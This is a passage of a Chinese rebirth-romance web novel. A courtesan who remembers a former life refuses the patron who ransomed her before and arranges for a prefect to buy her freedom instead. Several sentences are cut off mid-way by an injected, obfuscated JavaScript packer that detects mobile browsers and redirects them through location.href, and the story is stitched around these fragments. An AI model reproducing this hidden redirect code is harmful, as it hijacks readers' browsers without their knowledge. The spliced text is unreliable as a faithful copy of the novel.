她认得他,她的第二位恩客,杜攸之。 替她赎身之人。 当初自己愿意应许他替自己赎身,无他,长得好,功夫好。 他是个巡官,与花楼里一溜肥肉堆脖的酒徒不同,脸儿俊俏,功夫也了得。接近柳茸本只为调查她的上任恩客—— 于她□□之夜出价做了一回“新郎”的买主。 “新郎”无故死在了妓馆搭的洞房里,杜攸之特来查情,初见柳茸的第一面,摇摇羊角风灯,烛影幽转,时有时无撩见一张无情亦动人的脸庞。 杜攸之凤眸随之一亮,移不开。 上一世,他替她赎的身。 风月所里谈风月,杜攸之从未经历男欢女爱,食髓知味,痴痴抵着她,央她与他同去,自己愿助她脱籍。 赎身后,他们也过过几日神仙眷侣的自由日子,直到,回了杜氏祖宅。 入门便是几位女眷,左瞄右瞧,如看动物般观量她。 半老的中年男子坐在堂前,斥令杜攸之跪下。 良贱有别。 身为杜氏子弟狎妓就罢,将人还将人带回,家风何在? 伎乃贱|人,官府与司元登记在册的乐籍,轻易无法抹除。堂上的杜父不允她脱籍,杜攸之长跪于地,父命难违。 杜父落到柳茸身上的目光更是恨不得剜了她。 日后柳茸方明了,那不是想剜了她,是想占了她。 脱籍了还如何占? 高门大院里,丝竹管弦奏起,那些唱着伎子哀的家伎便是她的明日。 杜父要她。 柳茸忘不了杜攸之望向她,惊异过后,愧恨、心虚,终是阖目不忍。 “不要怪我。” 君君臣臣父父子子,忠孝两全,方位君子,方为人臣。 而杜攸之正好……孝顺得很。 孝子割爱,他让出她,宛如割舍一件至爱的玉组佩。 期年后柳茸被杜父转赠同僚,再无获悉杜攸之的音讯。 似什么呢,似被当作一件精贵的物什,一具父子聚|麀的美玉器,柳茸自嘲地凝眉。 今日她醒来,自己尚在勾栏院,杜攸之即将赎她。 名唤留春台的勾栏院院落挂满恭贺的彩绸,花篮果蔬摆满八大酒桌,尽数都出自苦命的姊妹们之手。 勾栏院里的姊妹、小厮是真心地祝福柳茸,同是飘零沦落人,她们期望着赎身的姊妹能获得更真切的圆满。 杜攸之以为柳茸梦魇了,取出香帕探上她额间。 秀长的人儿即刻拍开他的手,旋身一躲,揽过一片红绡纱披上肩头。 “阿宝,送客。” “可是身子不适?”杜攸之关切搀住她。 清瘦的手腕刻意抬起,多情公子扑了个空。 勾栏院里的女子自女童起便被刻意喂不饱,恩客钟情瘦马,鸨母也生怕她们有力气后逃了,个个饿得柔弱无骨。 柳茸将透骨的双手裹进红绡,脸色冷淡睨了杜攸之一眼。 “我要更衣。” 明晃晃的闭门谢客之意,杜攸之怎听不出。 许是头次见身边人态度蜕变,僵持半柱香,微妙的尴尬过后,柑橘香里他淡淡一笑,依礼作揖,“那,今夜杜某就不留宿了。” 柳茸转过身不看他。 “叨扰了,明日,杜某再来赔罪。” 他的礼节一如既往滴水不漏,若无前世之殃,自己真真被他迷惑。 龟奴阿宝上前喊人送客,顺便替柳茸打水沐浴,杜攸之眉头微挑。 “原先的阿宝呢?”他记得是个眼中透着戾光的少年,和现在的完全对不上脸。 “逃了。” 柳茸不想暴露太多异样,也不想同他纠缠,答得言简意赅。 原先的“阿宝”是个野小子,像条疯犬,不服管训,脸总被打得脏兮兮的,他一副不怕挨打的劲儿,越打反而越奋力还击。 唯有柳茸制得住他,他只听柳茸的话。 龟奴的一大活计是当把伎子送去恩客府上的“车”,背着伎子送去给客人。 旁的人靠上他肩头立马被一骨碌甩下来,鸨母几乎把他打死依然驯不了,不得已配给柳茸,“阿宝”消停了,没再把身上的柳茸抡下。 杜攸之的府邸离留春台远,“阿宝”每日的任务就是背着柳茸给杜攸之送去,目送她入府,次日天亮再背着她返回勾栏院。 她往杜攸之府上去了多少次,他就背着她走了多少路。 小龟奴逃在一个雨夜。 柳茸瞧见了,不作声。 无人不想逃,千方百计想要脱籍的人里也有她的一份。 造化弄人,前世的自己逃进了一座更加残酷的囚笼。 而这次,她不会了。 柳茸坐进浴桶,望着花船下杜攸之远去的背影,直到那人消失在轿子里才彻底纵任自己沉入水中。 水漫过胸口,压得她唇瓣翕张,深吸一口气。 又重来了一世…… 头顶的雕栏鲜艳如血,反着新涂的朱润,绮罗香榭,霞色流金,前世掉漆的红墙仿佛一场梦。 但那不是梦,是真真过了一世。 挨过一世风雨,许多事已然看清,财,花不出勾栏院;势,举目无双亲;人,更是靠山山倒。 这艘花船上,唯一可以依靠的人唯有自己。 人饥相食的惨状还盘桓在头顶,死前菜人市的剁肉声清晰如故,柳茸泡在热水中,泡得并不安宁,四周静下来时,过往不可控地一幕幕闪回。 崔元的死揭落了安稳静好的镇邪符,饥荒、疫病接踵而至,摧残着他生前呕心沥血建设的州府。 也摧残着柳茸的心神。 土里打转的人们种个田,插个秧,地也不是自己的,一场江山易主带来的饥荒他们便丢了性命。 农闲时男女老少会坐在谷堆前,喊柳茸吃石榴,嘻嘻露着憨厚的笑。但后来,谷堆被新官充仓了,坐在上面的人儿都化成了乱葬岗乌蝇成群的坟包。 她、和他们做错了什么呢? 柳茸想起阿爹,他们就像曾经的阿爹和阿娘,如今的她也大致回味过来年幼时阿爹经历了什么。 儿时的她没法救出阿爹、救活阿娘,而后来的她,眼睁睁看着更多人变成了她的阿爹阿娘。 也不知,崔元若活着目睹会作何感想。 会哭吗? 她只见这个傲岸的男人哭过一回,唯一一次也是最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763437|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次,探监之时,他在牢狱里闪着泪花的道歉。 她想,她不能死,崔元,也不能死。 人死灯灭,就真的什么都无力回天了。 柳茸捧起一掌水花,看着水下浮影凌乱的身躯,骤然一愣,右手小心翼翼地探了下去。 没有糜烂、没有梅花斑、没有抽痛。 自己的病,好了? 身体没有得病,这是自己还没有得病的年岁。 反应过来身体的变化,柳茸身子一斜,脱力靠在浴桶板,双臂不自觉缓缓相拢,激动随颤抖漫遍全身。 浴汤里,掉入一滴泪。 她的身子原是这般完好。 在接连被转赠到不同官吏的府邸后,柳茸在某个冬日染了病。 说不清何时得的,药贵命贱,无人愿意耗力气医好一个家伎,恶化得厉害,同府的姊妹们看着心疼,身为家伎,大家对柳茸的病再熟悉不过,凑出药材替柳茸熬了些土方。 她习惯了硬撑,疼痛扎根久了,早已忘了无病无灾的身子是何感受,回到这具身子后一时片刻竟未体会出不同。 隔了良久,久到热水变温变凉,她才渐渐从触动中回神。 新的生机自体内燃起。 要如何做才能活下去呢? 想起自己的籍契,柳茸犯难。 商妓名伶是不可自己赎身的。 青楼自古销金窝,销金窝里花多赚也多,若能自行赎身早就个个都插翅飞走了。 是以素来有两法,一是将银两首饰偷偷暗付书生,由相好的书生代赎。 次日书生卷钱跑了,人财两空。 即便撞大运碰到了有情有义、见钱不眼开的书生,鸨母也少不了狠刮一笔,十几年卖笑积攒的血汗银又流回销金窝里,净身出户过苦日子。 柳茸在前世亦不信此路,将钱财拱手让给一穷二白流连勾栏院的男子,且希冀对方不起歹心,比赌坊连赢十场还渺茫。 那便剩下第二条路,等商贾官人赎身。 前世是杜攸之,而今生,她不想与此人再有瓜葛。 “女郎,酉时三刻了。”守在外的龟奴轻叩木门。 “今夜怎催得那么急?”整整比平日少了一柱香时间。 “女郎真会打趣,明日杜郎君便来赎你了,今日得早些收拾。” 柳茸“哗啦”从水中披离而出。 明日?明朝就是廿八号?! 脑中,崔元临死前于牢狱中的自白一晃而过。 ——“其实,你被赎出妓馆那一日,我就遇见你了。” ——“那日驾马经过,崔某萌生妄念,但你已许配他人,非礼勿言,一片狂心暗许,只得默观遥祝。” 赎出……妓馆……架马…… “阿宝!”柳茸扣了扣遮掩浴桶的屏风,龟奴应了声。 “帮我备衣。” 龟奴去唤更衣丫鬟了,柳茸步出浴桶,踏着水来到琉璃窗前,抹开窗上的水雾。 留春台靠近商贾云集的码头,岸上偶有官吏来巡察。 前世的她和崔元未得缘见彼此最后一面,各自寻门各自死。 最后一面已不可见,或许,今生能重见第一面。 青楼下,码头上,灯火粼粼,其中一盏会是他藏在里面吗? 明日崔元的车马就要出现。 她认得出,她要劫他。 为自救,也为救他,救他人。 5. 重遇 初入勾栏院时那段记忆,柳茸大多凌乱模糊了,只记得自己不停在哭。 像只惶恐的猫儿般躲进客人的酒桌下,偷吃着客人掉在地上的点心碎。 柳茸不敢出来,因为一出来,鸨母就要逮自己去练琴。 按弦时十指连心的疼痛犹在手上。 从前茅草堆的土房里,阿爹耕田阿娘织衣,他们也能饱足,为何在金银遍地的城邑要逼着学疼痛锻造出的技艺才能勉强裹腹? 青楼的莺歌燕笑淹没了一个六岁孩童的啼哭,骚人墨客的雅兴盖过了商女的辛楚。 卑屈、低首、婉转峨眉,是留春台大多女子的常态,小时候的柳茸知道在摆着笑脸的姐姐其实并不快乐,她心拧出细雨,垂着嘴角闯进厢房,摸上那张满是脂粉的脸道:别难过。 床上的恩客被打扰好事恼了,闻风赶来的鸨母大骂着喝令柳茸出去,柳茸回身一望,那张笑脸下的情绪更难过了,内疚无以复加。 当晚没有饭给柳茸,她看见笑脸的主人重新浓妆艳抹,梳头接客,换上芽绿的衣裳走过花楼的一派熙攘。 蓦地,笑脸看了过来,在柳茸身旁顿住脚步。 一颗糖塞进柳茸手中,温暖的掌风扫过她的发顶,摸了摸她的头。 糖不甜,反有苦意。长大后,柳茸也成了当初给糖的人。 她在高台拨秦琴,台下众星捧月,无名酒客送上名花,柳茸收过拖人转送的话,心中的欢悦却并未跟着花心绽放,再取出镜来,脸上挂着差不多的笑脸。 “柳姐姐,那位杜郎君又来了。”留春台的侍女捧着素净的白衣入内。 浴桶中,柳茸自抽丝剥茧的神游抽身。 杜攸之不是回去了吗? 阴魂不散。 湿答答的手搭在浴桶边又收了回去,拐到侍女的玉脖上。 “锦儿,今夜我不想让人来,你替阿姊把门,好吗?” 柳茸缠着她的脖子。 侍女连连摇头,“阿姊,杜郎君执意要见你,正在前堂点了酒不肯走,说是、说是你今日神态反常,他怕有恙不放心你。” 一块名贵翡翠金镯递入锦儿手中。 锦儿眼睫扫下一层阴影,“如此大事我怎能做决断……” “好不好?”柳茸的手缠她更紧,小臂水珠将她桃红的衣襟湿成肉红色。 锦儿整颗脑袋都偏过去不敢应承,“阿姊……我不敢的。” 那颗脑袋被一根指拐了过来,柳茸的眼在水汽薰染下潋滟无比,“姆妈问起就说是我的意思,她明日就要收到我的身价银了,不会找你的茬。” 她一字一句点教,“但今夜,我睡了,你没见到我。” “……锦儿记住了。”锦儿壮起胆子浅浅嗯了声,“今夜阿姊睡了,睡得正香。” 门户“吱呀”一转,飞花乘风落进空无人的浴桶。 柳茸穿好衣,忽然灵光一闪,“小青还在吗?” 半只脚退门而出的锦儿不知她为何用这等措辞,歪头莞尔,“小青一直在啊。” “她在何处?” 锦儿顺手指了间偏厢,柳茸快步走出,路过园中梅林,随意折下一根青萃挽起湿发。 偏厢近了,一个豆蔻年纪的背影清晰进入视线,柳茸扶着门框的手一紧,踌躇半刻迈进揽住了她。 被抱的女子转过头,看到来人的脸,一时愕然无言,“阿姊?” “让我看看你。”柳茸放开她,小青懵然不知。 小青,是某户人家孤女,比柳茸晚入留春台,尚未到梳弄的年纪,闹腾又欢实。年岁大点的花魁嫌孩子扰事,不愿带新人,柳茸见她一个人便收在自己身边。 不料等来的是姊妹离心。 小青年纪小,按规矩要学成长几年方接客,可她不喜学艺,时时懒睡,柳茸对她的偷偷懒视而不见,偶尔帮打掩护。 直到某日,柳茸亲眼见她勾着一位熟客带进厢房,关上了门。 她们大吵了一场,红玛瑙镯摔在离心的二人中央。小青不忍了,她就是羡慕接客的伎子如何,做了名妓就能穿金戴银、前人捧后人追,有名有利有人伺候,何乐而不为? 不允许她早早接客,柳茸定是打着主意想独占风光,怕她接客后抢了自己的富贵荣华。 柳茸的心像是被一计猝不及防的冷箭扎了下,寒着脸似笑非哭地凝了她许久,翌日,将人请出自己身侧各自安好,想做任何事由她,自己不会再管她。 怄气的女孩拿起柳茸放在桌面的首饰就跑。 后来柳茸赎了身,她们再无交集。 夏虫不可语冰,青楼煎熬苦海,竟有人以孩童说笑的心态沉醉其中。 再后来留春台走水,烧掉大半厢房,柳茸在奏乐班子里,听见席间男人们的笑谈,一根琴弦“噌”的一声,拨错了音。 她央求主人家放她回留春台看一眼,就一眼。 主家以仁厚著闻,不好当众驳拒,准她远远观望,望到尽头,过眼的是一具具瘦成皮包骨的尸体。 瘦小的人蜷缩着,满脸灰屑,火烧掉大半面庞,而她无知无觉地温柔安睡,瞑目地府。 那张烧焦的面孔在柳茸心底打转了半世,以至于无法和眼前清秀洁整的玉容联想到一个名字上。 “阿姊,你……”小青眼神躲闪,不待话语说完,一簇梅花枝插入她鸦黑的髻发。 “我替你簪花。”柳茸像过去那般为她梳头。 一世终了,故人还活着,曾经的芥蒂早已不再介怀,唯有当初见到小青尸骨的凄恻留在心窝。 “阿姊,大家说你明日便走了?”小青虽与她有隔阂却也难掩好奇。 “你想和我一起走吗?”柳茸拢拢她的发。 小青嘁了声,“那也要有人赎才行。阿姊就好了,被人赎身要去过好日子了。” 好日子?替人梳完头的柳茸酌酒,但笑不语。 “阿姊,你莫不是会嫁人吧?”小青暗戳戳套着话,以为柳茸没听出来,假设地更大胆了,“日后会不会做上比乐伎还高的主?官妾?大夫人?” 她托着腮把期待全溢出脸,“不会是命妇吧?” 鸨母总说长大后嫁人从良就享福了。 柳茸抿了口榴花樽,“我都不想。” “为何?莫非有比诰命夫人更好的位置?” 柳茸要答话,有人出声打断。 “是谁要当诰命夫人?”一道低醇的嗓音隔门响起。 杜攸之在廊外,泠泠月华披照肩上,凤眸脉脉。 “远远听见有人在说诰命夫人。”他折向柳茸的目光里闪过看不清的情愫,最终落进一句半开玩笑的调情,“就那么想做?” 寂风吹得窗纸沙沙,厢房里落针可闻。 气氛诡怪。 小青左看看阿姊右看看进来的锦衣男子,决定不加入这盘危险的棋局,此刻柳茸在场她拦客也讨不到好处。 她知趣拿过一盏油烛退出。 厢房的灯影霎时暗了,杜攸之脸下的嘴角也暗了几重。 柳茸睨着来人,“我想做,公子给吗?” 杜攸之没有笑意。 “为何骗我?”他的阴蚀终于溶溶漫出,含着酸意。 偏生柳茸置若罔闻,仿佛这场潮骚里只有他一人在淋雨。 过堂风将桌上酒香吹来,杜攸之的眉眼吹出一层氤氲凝愁。 “你根本没睡。”杜攸之不死心地开口。 “听到你说睡下时我就约莫猜出了,茸娘,是你不愿见我,为何?” 他想不通今日她是怎了,一反常态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她没有松口使杜攸之留下,找了个借口搪塞他回去。 今夜是少有的没有恩客、独属她一人的卧房,柳茸这才发觉,原来自己的窗台一直有对小蟋蟀。 可惜她发现它们的时间太晚了,五更天,鸨母已经唤她梳妆,嫁女儿般拉到绣房打扮。 侍女拿来一套靛蓝襦裙,是杜攸之亲点最喜的,柳茸刚要穿,注意到紧窄的裙身,蹙眉道:“锦儿,换成八破裙。” “可是阿姊,杜郎君喜欢此色。” “换成破裙。” 漏声滴滴催人,留春台外一辆马车停驻,细眉凤目的男子下马等待。 昏夜灯红柳绿的勾栏院白日竟显得有些冷清,杜攸之隐约能探到自己的心跳。 光破开门户,他看见一抹榴锦倩影,衬得周身景物都跟着焕了彩。 柳茸出来了。 杜攸之在出神过后见翩然作揖。 那个人步步迈近,他的心自忐忑,轻尘扫过,他要去接她的手。 只一眼,她径自掠过了他。 杜攸之:“茸娘?” 在哪儿?到底在哪儿?哪有马车?柳茸一路跑,一路张望。 身后的呼喊越来越近,宽大的破裙下她迈大腿距,加快步伐。 勾栏院饮食少餐少食,养不了气力,她跑不过杜攸之的,况还有家丁,但是,她瞧见了,瞧见一辆油壁白马车萧萧自街角奔腾而来,正往码头赶。 那一刻,她庆幸自己至少双眼目明。 一辆白马车,一辆崔府样式的油壁白马车! “公子!”柳茸冲上前。 辚辚声动,轱辘急打,马蹄乱了方寸,受惊前奔,石榴裙逐渐逼近,眼看要踩得粉身碎骨。 马车停住了。 6. 赎人 “大胆!敢拦崔府车架!”马夫扬鞭。 下一刻,他像得到旨令般收声,空鞭打在天上。 车帘微微掀开了。 里头一片黑,只能看见卷开的布帘下泄出一丝澄练月华,是半截白袍。 柳茸感到自车内而来的视线,落在她脸庞,温度活络着血管里的血,双颊随呼吸起伏发痒,她的心提到嗓子眼。 随后,一道声音作春雷响在耳侧。 “姑娘的红裙,脏了。” 杜攸之恰时追上来,撞见马蹄前的柳茸,又看看眼前的马车,迅速认出了车架,上前作了一揖。 “不知是博陵崔氏哪位兄台来陈塘,在下杜冼杜攸之。” “兄台?”车内人沉声冷气,这是他一贯对生人的语调,柳茸记得,“本官不记得与杜氏有多熟。” 杜攸之哽了一下,维系住笑,“原来是崔刺史。” 崔家仅有一位公子出了名的不看人情面。 “刺史大人也是来巡察的?” “听闻此地有类甜果叫白糖罂,长安城难得,没吃过,来采买些。” 大世家采买轮得到亲自跑一趟? 谁信?杜攸之不信,但眼下气氛略僵,他不懂柳茸为何兀自跑了,更吃不准车上的人一直停马在此到底做甚。 这位刺史脾气古怪,时常狂言狂语,开罪人从不看场合。 崔刺史,刺得很,杜攸之不想多得罪,随口诌个由头打发要紧。 “内人不懂事,冲撞刺史,还请宽谅。”杜攸之又行一礼,“若无他事,能否请刺史稍侯片刻,下官有私事处理。” 说罢,打算去拽车前的柳茸。 “谁说我没有他事。” 车帘彻彻底底被一只手挑开。 美。 崔元的脸如冷浸的水月,嘴角熨平,不生柔情,周身镀了层漠然舒态的外壳,极不近人情,纵然过去日日相对,依旧会数度被惊艳。 比之前世数年后的相遇,此刻他的脾气依稀残留着年轻气盛时的倔傲。 他面色平缓,读不出贪嗔痴喜,平白无故遭人拦车亦没有气恼,“有拦车就有鸣冤,本官的规矩。” 杜攸之:“无心之举,何来的冤?” 溽暑气燥,晨起的日头东升扶桑,照亮车内男子刀裁的鬓角,崔元刚从庙里敬香完,衣摆间的寺香尚未淡去,经过柳茸身旁,眼风随香扫到她。 交接一息,人已横在杜攸之与柳茸中间。 睨了眼不远处留春台的招牌,再掂掂脚下一排街盖着的秦楼楚馆,崔元不可察勾起唇角,明眼人也约莫将始末悟了个七八。 内人?夫君?天不亮在花街柳巷追逃? “这位姑娘,当真是你的妻?” “不成?”反正他终要娶柳茸,她进入杜府是迟早的事。 “洞房了?成亲了?归宁过了?” 一连三问咄咄逼人,杜攸之的脸色倏然难看。 话里行间尽是对自己方才说柳茸是内人的嘲讽之意,柳茸是留春台里赎出的,上哪去归宁,留春台么? 他不是在嘲讽柳茸的身份,是在暗讽他杜攸之明明是花楼常客还要装贞夫。 如蓟在喉的沉默在发酵,崔元轻哂一声打破,“一无三书六礼,二无拜会高堂,她是你哪门子的妻?” 杜攸之凛了眉目,皮笑肉不笑,“崔刺史这是何意?堂堂益州刺史也管人情爱吗?” “杜巡使可听过近日的采生折割案?” “略有耳闻。” “大梁采生折割罪重,不乏有人钻空子,想出先替商伎赎身后诱卖人口的奸计。此事甚是猖獗,本官不能多问?” 杜攸之好似被羞辱了,他和那些歹人相提并论? “杜某为官清廉,以己身作责胜残去杀,与她也是两情相悦,崔刺史断不必怀疑。” “是么?”崔元注意到柳茸裙尾溅的泥点,“两情相悦,人却在逃。” 杜攸之一时无言。 昨日之前情浓意切的人今早陡然变故丛生,他怎会预料得到。 他的思虑尚未从柳茸无端的奔逃中转过弯来,就撞上崔元卷入掺和,眼下情形已超出自己的控制,连个解释的理由也找不出,事情变化突然,根本无时间留给他编排。 “他的话当真?”崔元回身,对上柳茸。 “茸娘……”杜攸之也向她投来眼色。 柳茸垂目,不语。 “茸娘、茸娘?”杜攸之恍惚有些不可置信,他本期待着她的反应,期待她会站在他这边,万没想到她息了声。 不语已经代表了答案。 杜攸之伸出手,想要牵拽她灼红的袖口,被一只手截下,定在半空。 对上的,是崔元审视的表情,柳茸在他身后,几步之遥恍若隔世千里,她不作声,就这么看着他的僵持,杜攸之心中忡然。 他的茸娘在拒绝他,为何? 昨夜的疏离隔阂恍若一个引子,是脱轨的前兆,杜攸之如今才回味过来。 可是,他看不懂。昨夜她是那么地渴望与自己出留春台,为此还恼了,难道她的情谊和那晚的灯火一样虚虚实实? 她表现地那么渴望自己赎她,就像知道必然会发生某些事一样,诱着他推动着,要不是柳茸没出过留春台,他几乎要以为是柳茸和崔元设计了这一环。 而她也不可能与崔元有旧交。 心中冲动愈甚,杜攸之满腹疑恨,恨不得冲过去拢着柳茸的肩质问,再将人揉进怀里。 “还请崔刺史,纡尊,让道。” 一个莫须有的采生折割真能让一个刺史留下细盘? 同为宦海沉浮人,杜攸之本来不信,官官之间行事大多大事化小小事化无,从三品刺史更是懒得管管鸡毛蒜皮的小罪,只要无伤大雅,不捅出来便充耳不闻。 但对方是崔元。 “可以是可以,但这马车,”崔元轻拍了几下车栏,“没有碰了就跑的理。” “刺史大人待如何?”杜攸之咬牙。 “赔钱。” 杜攸之指示家丁取钱,银锭叮当。 哪知崔元一眼没分给他,指向柳茸,“不是你赔,她赔。” * 鸨母收到风声急匆匆跑出留春台,就见道上杵着两尊人像胶着。 一尊身着檀色香云纱,凤眸长眉,面色不悦,一尊酽白胜雪,凌目冷视,互不相让。 天光全亮了起来,路上行人也逐渐多了起来,正午日头落在攒攒人头上照得发顶发烫。 “二位爷、有话好说、”鸨母阅男无数,一眼看出对面气度不俗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杜攸之哑然,手滞在空中,眉头深蹙不化。 “听见了吗?”崔元拂了拂衣摆,双眸墨黑,“马车没有碰了就跑的理,世间也没有强买强卖之理。” 嘈杂声自人群中密密层层,越传越大。 有戏谑,有蔑笑,有新奇,仿佛在看一个因不懂常识而闹笑话的毛小子。 “此人糊涂了吧?对着勾栏院说没有强买强卖的理?” “圣贤书读傻了吧……” “这地方是勾栏院,可不是什么茶馆铺子。” “富贵公子就是将人想得天真,伎子赎身还能由得了她们?岂非乱套了?” 白马车上的马夫扶额,却也只能依着崔元。 人群嚷嚷低语,崔元仿若无人,面色不改。 鸨母悻悻笑着,“这位官人,杜大人已经交了茸娘的身价银,官人实是在难为妾身。” 崔元投来一眼,“交完了吗?” 钝刀刮肉般的感觉令鸨母打了个寒颤,她踟蹰着,如实做答,“尚未交完。” 还想进一步解释,崔元掀过白袍,任由四方耳风刮过,流星跨步走向鸨母。 数块名贵金链玉石投入鸨母手中,正是方才从柳茸的百宝箱内随意抓取的赔偿。 “她的身价银,我替她交了。” 7. 回府 前世自己是如何跨出留春台的? 柳茸思索,想起来了,约莫是喜洋洋的。能飞出囚禁数年的囚笼,哪管杜攸之赏的裙裾再紧也强忍着撑上,无怪乎某人以为她觅得良人。 一声惊雷不知觉轰然落下,夏雨淅淅沥沥浇下,紫电劈落,电光下,杜攸之的脸映得更为惨白。 柳茸,还是选择了崔元。 虽说杜攸之花的银两不少,又有官职在身,按理鸨母必不敢收他人赎金反悔得罪他,但赫然佩在崔元腰间的刺史鱼符破了常规。 杜攸之只见那抹着火榴裙望过来,浅笑了下,转瞬便见她冲自己行了一礼,步步生莲走向崔元。 美人鞋尖的珍珠坠动一分,他的心便跟着坠动到更深处。 此时,杜攸之才肯正视心底一个不愿承认的事实,那便是与崔元无关,是柳茸不愿随他走。 数度否决、刻意忽视的念头在眼前情形交衬下,避无可避,毫无情面地撕掉宿昔的风月情浓,令他再不能自欺欺人。 看着柳茸即将随别人上马,杜攸之再也按捺不住。 一声茸娘出口,一袭白衣挡住了他,也阻断他望眼欲穿的目光。 两相对峙。 崔元不言,静若观水。 二人似乎在对话,雨声稀释了两人的声音,柳茸听不清。 忽而一柄纸伞罩住了她,油沥沥的,桐油味浓郁。 “女郎。”崔府的随从恭敬执着伞,立在她身后,“大人说雨水寒凉,请女郎先移步轿内等他。” 她观了眼雨中的两个男人,向随从一笑,“我在车下等他便好。” 雨幕下,柳茸的身影渐化作一粒粟,杜攸之不由得想追上去,可前方的白衣纹丝不动。 “崔刺史,”杜攸之挤出一抹笑。 “刺史知晓她是什么样的女人吗?” 崔元眉目一凛。 “虽然刺史今日同下官略有龃龉,但同朝为官还是想劝言一句,她的头位恩客可是不明不白地死在了她阁中。” “此后相中她的男子无不死于非命,此事古怪,朝廷才会派下官来。刺史——真要将人带去益州?” 好言相劝般的铺陈结束,杜攸之感到被对方上下瞟了一眼,崔元依旧没有言语,静地令人发毛。 半晌才听到他清薄的嗓音,“是么。” 不知是鼻息或冷哼,他道:“你竟还未死。” 话音落崔元回身不再停留,上马前,微抬起白伞,望了柳茸一眼。 静默中,崔元掀帘入轿,马车没有启驾,柳茸缓了缓,进入轿中,车轿终于动了。 马蹄踏雨奔驰,身后是杜攸之追喊着茸娘。 柳茸伸到轿窗边的手堪堪刮过漂进的雨水,侧头转向崔元,他正闭着目,薰炉的烟袅袅斜斜。 那只手在窗边停留片刻,最终没有撩开窗帘。 杜攸之,与自己从此再无纠葛。 前世趟过的浑水太辛酸,纵然此时的杜攸之尚未来得及催发往后之事,她也不想将一生交由他,不想交由任何人,她晓得他是何等孝顺。 这么想着,车停住了。 码头商贩的叫卖声与船舶卸货声飘进车帘,清风吹卷着,日影洒落帘子下,崔元出而又返,臂弯多了一筐白糖罂荔枝。 一路同车,一路无言,谁也没开启话头。 直到柳茸的嗓子有些发干,空气中“啪”的一声,散出甜腻气味。 是崔元剥开了一颗荔枝。 饱满的凝红爆出水灵剔透的果肉,甜汁顺着他白皙的指缝流下,瑰红的果壳无情投入薰炉中,焚香诱人味蕾。 “你在想他?”他开口。 果壳被火燎烧地滋啦作响,崔元凝视着闪烁的火星,看起来只是随意一问。 柳茸摇首:“公子觉得我想他吗?” 崔元低眸不置可否,接着取出一枚玉珠子,“若是想他,你便不会往我的马车里丢珠子了。” 就在冲撞马车的千钧一发之际,一枚玉珠子顺着车帘缝隙,几不可察落到崔元靴旁,骨碌碌打转后停下。 拦路投财,怀金相求,他收到了她的暗示。 “贿赂朝廷命官可是重罪。”崔元在指间把玩了“贿款”一番,重收入袖中。 “公子要将我定罪吗?” “你拦路,是因为知道马车里的人是我,”崔元收起轻松,肃然转过眼眸,眼底藏锋若能将人窥透,“你如何得知?” 柳茸被问住。 几乎过了有一柱香长,他看着炉香,幽幽说道:“罢了,不论走漏风声的是何人,你只需记住,你如今不是留春台的人了。” “记住了?” 柳茸唇角轻勾,“茸娘记住了。” 那人拂了拂衣上果屑,没说什么,支声不吭望着前方,似乎真的只是在看香炉,未看见她笑。 回益州的路途遥远,益州刺史崔元暂在城中崔氏的别院落脚。 说回也不对,他本就是出京去往益州赴任,来此只是趁未及上任的日子南下领略风土。 与多年后在益州和老农插秧耕田的崔刺史不同,今生的他刚遭调任,益州的稻田农桑、人情风物于他,皆是陌生的存在。 柳茸吃着荔枝,心里流过许多事,自己的前尘非非、他遭调任的事、他说过的话,最后忆起了崔元调任出京的缘由。 只因放言了一句话:说自己所侍非君,所忠亦非王,乃是民。 万幸先帝武宗已宾天,不然怕是能掀飞棺盖掴人两掌。 元弘五年,武宗赵翎崩,五子夺嫡始,也是同年,崔元调为益州刺史,而这场由金銮御座翻起的腥风血雨,要到几年后胜负方晓。 今年,是崔元调任益州刺史的第一年,却不是柳茸遇见他的第一年。 吃到第五颗荔枝时柳茸住了手,抬头看向楼上,纸窗烛光昏黄,窗中一位刺史正在挑灯。 灯火落落,崔元唤柳茸入内,指尖轻叩着梨木桌,眼观鼻鼻观心。 “你有两条路。随我回益州,或自行离去。” 这是让她自己选。 往后各地时局将愈发乱,去往益州会好上很多。柳茸毫无犹疑地择了前者。 做出选择的刹那,崔元的双眸睁开了,“你不在此地长大?” “公子何故问这个?” “崔氏的车马七日后出岭南,你若随我去益州,便没有时机再回,籍契也会迁至益州,就这么舍得?” “有何舍不得的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那把琴陪她哀诉过,幽怨过,松了轴,裂了头,被一把更年轻的新琴取代。 院外江边,朦胧月色中恰如其时响起悠悠扬扬的丝竹,宛转呜咽,揪拽着人心,仿佛在应和着她的话。 一张白纸递到柳茸面前,崔元要她画下旧琴的形状,待柳茸取过笔墨,他没有留恋,出门而去。 几日后,小青和锦儿的身影出现在别院外,怀中抱着一把秦琴。 柳茸奔去与她们同聚,也接过那把琴。 锦儿是本地生人,双亲早亡,家里仅剩一个年迈的祖母在等她,朝柳茸道了谢便要回乡间与祖母团聚。 至于小青留在了别院,和柳茸一样,她没那么多家人。 沾着灰的琴杆落进手掌,柳茸缓缓合拢双手,将秦琴捂进怀中。 